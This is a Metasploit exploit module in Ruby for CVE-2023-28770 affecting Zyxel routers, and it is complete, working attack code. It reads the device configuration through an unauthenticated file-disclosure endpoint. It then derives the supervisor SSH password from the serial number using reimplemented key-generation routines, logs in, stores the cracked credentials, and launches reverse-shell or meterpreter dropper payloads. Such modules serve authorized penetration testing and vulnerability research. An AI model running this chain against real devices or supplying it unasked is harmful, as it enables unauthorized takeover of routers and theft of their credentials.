##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'socket'
require 'digest/md5'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
attr_accessor :ssh_socket
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm',
'Description' => %q{
This module exploits multiple vulnerabilities in the `zhttpd` binary (/bin/zhttpd)
and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.
The remote code execution vulnerability can be exploited by chaining the local file disclosure
vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration
of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.
With this information disclosure, the attacker can determine if the router is reachable via ssh
and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting
a weak implementation of a password derivation algorithm using the device serial number.
After exploitation, an attacker will be able to execute any command as user `supervisor`.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author of exploit chain and MSF module contributor
'SEC Consult Vulnerability Lab',
'Thomas Rinsma',
'Bogi Napoleon Wennerstrøm'
],
'References' => [
['CVE', '2023-28770'],
['URL', 'https://r.sec-consult.com/zyxsploit'],
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/'],
['URL', 'https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/'],
['URL', 'https://github.com/boginw/zyxel-vmg8825-keygen'],
['URL', 'https://attackerkb.com/topics/tPAvkwQgDK/cve-2023-28770']
],
'DisclosureDate' => '2022-02-01',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPSBE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
}
}
],
[
'Interactive SSH',
{
'DefaultOptions' => {
'PAYLOAD' => 'generic/ssh/interact'
},
'Payload' => {
'Compat' => {
'PayloadType' => 'ssh_interact'
}
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'SSH_TIMEOUT' => 30,
'WfsDelay' => 5
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true])
]
)
register_advanced_options(
[
OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
]
)
end
# supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers
# based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm
# https://github.com/boginw/zyxel-vmg8825-keygen
def double_hash(input, size = 8)
# ROUND 1
# take the MD5 hash from the serial number SXXXXXXXXXXXX
# this returns a hash of 32 char bytes.
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
# store two char bytes in round1 and continue with next two char bytes from the hash.
md5_str_array = Digest::MD5.hexdigest(input).split(//)
round1_str_array = Array.new(32)
j = 0
until j == 32
if md5_str_array[j] == '0'
round1_str_array[j] = md5_str_array[j + 1]
else
round1_str_array[j] = md5_str_array[j]
end
round1_str_array[j + 1] = md5_str_array[j + 1]
j += 2
end
round1 = round1_str_array.join
# ROUND 2
# take the MD5 hash from the result of round1
# returns a hash of 32 char bytes.
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
# store two char bytes in round2 and continue with next two char bytes.
md5_str_array = Digest::MD5.hexdigest(round1).split(//)
round2_str_array = Array.new(32)
j = 0
until j == 32
if md5_str_array[j] == '0'
round2_str_array[j] = md5_str_array[j + 1]
else
round2_str_array[j] = md5_str_array[j]
end
round2_str_array[j + 1] = md5_str_array[j + 1]
j += 2
end
# ROUND 3
# take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3
# to create the final password hash with defined number (size) of alphanumeric characters and return the final result
round3_str_array = Array.new(size)
for i in 0..(size - 1) do
round3_str_array[i] = round2_str_array[i * 3]
end
round3 = round3_str_array.join
return round3
end
def mod3_key_generator(seed)
# key generator function used in the SerialNumMethod3 pasword derivation function
round4_array = Array.new(16, 0)
found0s = 0
found1s = 0
found2s = 0
while (found0s == 0) || (found1s == 0) || (found2s == 0)
found0s = 0
found1s = 0
found2s = 0
power_of_2 = 1
seed += 1
for i in 0..9 do
round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor
if (round4_array[i] == 1)
found1s += 1
elsif (round4_array[i]) == 2
found2s += 1
else
found0s += 1
end
power_of_2 = power_of_2 << 1
end
end
return seed, round4_array
end
def serial_num_method2(serial_number)
# SerialNumMethod2 password derivation function
pwd = double_hash(serial_number)
return pwd
end
def serial_num_method3(serial_number)
# SerialNumMethod3 password derivation function
# constant definitions
keystr1_byte_array = 'IO'.bytes.to_a
keystr2_byte_array = 'lo'.bytes.to_a
keystr3_byte_array = '10'.bytes.to_a
valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a
offset1 = 0x8
offset2 = 0x20
round3 = double_hash(serial_number, 10)
round3.upcase!
round3_byte_array = round3.bytes.to_a
md5_str = Digest::MD5.hexdigest(serial_number)
md5_str_array = md5_str.split(//)
offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5]
result = mod3_key_generator(offset.to_i(16))
offset = result[0]
round4 = result[1]
for i in 0..9 do
if round4[i] == 1
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr1_byte_array[j])
index = offset1 + ((offset + j) % 0x18)
round3_byte_array[i] = valstr_byte_array[index]
break
end
elsif round4[i] == 2
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr2_byte_array[j])
index = offset2 + ((offset + j) % 0x18)
round3_byte_array[i] = valstr_byte_array[index]
break
end
else
new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr3_byte_array[j])
var = ((offset + j) >> 0x1f) >> 0x1d
index = ((offset + j + var) & 7) - var
round3_byte_array[i] = valstr_byte_array[index]
break
end
end
end
pwd = round3_byte_array.pack('C*')
return pwd
end
def crack_supervisor_pwd(serial)
# crack supervisor password using the device serial number
# there are two confirmed hashing functions that can derive the supervisor password from the serial number:
# SerialNumMethod2 and SerialNumMethod3
# both passwords candidates will be returned as hashes
hash_pwd = { 'method2' => nil, 'method3' => nil }
# SerialNumMethod2
hash_pwd['method2'] = serial_num_method2(serial)
# SerialNumMethod3
hash_pwd['method3'] = serial_num_method3(serial)
print_status("Derived supervisor password using SerialNumMethod2: #{hash_pwd['method2']}")
print_status("Derived supervisor password using SerialNumMethod3: #{hash_pwd['method3']}")
return hash_pwd
end
def report_creds(user, pwd)
credential_data = {
module_fullname: fullname,
username: user,
private_data: pwd,
private_type: :password,
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
cred_res = create_credential_and_login(credential_data)
unless cred_res.nil?
print_status("Credentials for user:#{user} are added to the database.")
end
end
def get_configuration
# Get the device configuration by exploiting the LFI vulnerability
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/Export_Log?/data/zcfg_config.json')
})
end
# Initiate the process configuration exception class used in the process_configuration function
class ProcessConfigException < StandardError
attr_reader :exception_type
def initialize(msg = 'This is my custom process config exception', exception_type = 'custom')
@exception_type = exception_type
super(msg)
end
end
def process_configuration(res)
# Initiate the instance variable config to store the configuration
@config = {}
# Parse the device configuration json file
res_json = res.get_json_document
if res_json.blank?
raise ProcessConfigException.new 'No device configuration file found.', 'ConfigUnknown'
end
# process json output and retrieve information about supervisor user, ssh port and ssh WAN service status
# Also grab hardware and software version including the serial number to crack the password of user supervisor
@config['hardware'] = res_json.dig('DeviceInfo', 'HardwareVersion')
@config['software'] = res_json.dig('DeviceInfo', 'SoftwareVersion')
@config['serial'] = res_json.dig('DeviceInfo', 'SerialNumber')
login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp')
unless login_cfg.nil?
@config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor'
end
remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service')
unless remote_service.nil?
service = remote_service.select { |s| s['Name'] == 'SSH' }.first
if service&.fetch('Name', nil) == 'SSH'
@config['ssh_port'] = service['Port']
@config['ssh_wan_access'] = service['Mode']
@config['ssh_service_enabled'] = service['Enable']
end
end
print_status("Hardware:#{@config['hardware']} Firmware:#{@config['software']} Serial:#{@config['serial']}")
# check if all hash key/value pairs are populated and raise exceptions if retrieved config is not vulnerable
if @config['serial'].nil? || @config['ssh_user'].nil? || @config['ssh_port'].nil? || @config['ssh_wan_access'].nil? || @config['ssh_service_enabled'].nil?
raise ProcessConfigException.new 'Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.', 'ConfigUnknown'
end
# check if ssh service is enabled
# if true then check ssh_port is open and ssh service is accessible from the WAN side
if @config['ssh_service_enabled']
if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])
return
else
raise ProcessConfigException.new "WAN access to SSH service is NOT allowed or SSH port #{@config['ssh_port']} is closed. Try exploit from the LAN side.", 'ConfigUnreachable'
end
else
raise ProcessConfigException.new 'SSH service is NOT available.', 'ConfigNotVulnerable'
end
end
def execute_command(cmd, _opts = {})
Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }
rescue Timeout::Error
@timeout = true
end
def do_login(ip, user, pass, ssh_port)
# create SSH session and login
# if login is successfull, return true else return false. All other errors will trigger an immediate fail
opts = ssh_client_defaults.merge({
auth_methods: ['password', 'keyboard-interactive'],
port: ssh_port,
password: pass
})
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
self.ssh_socket = Net::SSH.start(ip, user, opts)
end
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
return false
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
return true
end
def check_port(port)
# checks network port and return true if open and false if closed.
Timeout.timeout(datastore['ConnectTimeout']) do
TCPSocket.new(datastore['RHOST'], port).close
return true
rescue StandardError
return false
end
rescue Timeout::Error
return false
end
def check
# Initiate the instance variable config to store the configuration
# @config = { 'hardware' => nil, 'software' => nil, 'serial' => nil, 'ssh_user' => nil, 'ssh_port' => nil, 'ssh_wan_access' => nil, 'ssh_service_enabled' => nil }
res = get_configuration
return CheckCode::Safe if res.nil? || res.code != 200
begin
process_configuration(res)
rescue ProcessConfigException => e
case e.exception_type
when 'ConfigNotVulnerable', 'ConfigUnreachable'
return CheckCode::Safe(e.message)
when 'ConfigUnknown'
return CheckCode::Unknown(e.message)
end
end
return CheckCode::Vulnerable
end
def exploit
# run if AutoCheck is false (@config = nil), otherwise use the information in @config gathered during the check method
unless @config
res = get_configuration
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if res.nil? || res.code != 200
begin
process_configuration(res)
rescue ProcessConfigException => e
case e.exception_type
when 'ConfigNotVulnerable'
return fail_with(Failure::NotVulnerable, e.message)
when 'ConfigUnreachable'
return fail_with(Failure::Unreachable, e.message)
when 'ConfigUnknown'
return fail_with(Failure::Unknown, e.message)
end
end
end
# extra checks added to handle ForceExploit true setting
if @config['ssh_service_enabled']
if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])
print_status("SSH service is available and SSH Port #{@config['ssh_port']} is open. Continue to login.")
else
fail_with(Failure::Unreachable, 'SSH service is not availabe and/or SSH port is closed.')
end
else
fail_with(Failure::BadConfig, 'SSH service and/or SSH port information is missing.')
end
# derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3
if @config['serial'].nil?
fail_with(Failure::BadConfig, 'Serial device number is missing to crack the supervisor password.')
else
supervisor_pwd = crack_supervisor_pwd(@config['serial'])
end
# try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2
if do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method3'], @config['ssh_port'])
print_status('Authentication with derived supervisor password using Method3 is successful.')
report_creds(@config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED']
elsif do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method2'], @config['ssh_port'])
print_status('Authentication with derived supervisor password using Method2 is successful.')
report_creds(@config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED']
else
fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.')
end
if target.name == 'Interactive SSH'
handler(ssh_socket)
return
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager(linemax: 500)
end
@timeout ? ssh_socket.shutdown! : ssh_socket.close
end
end
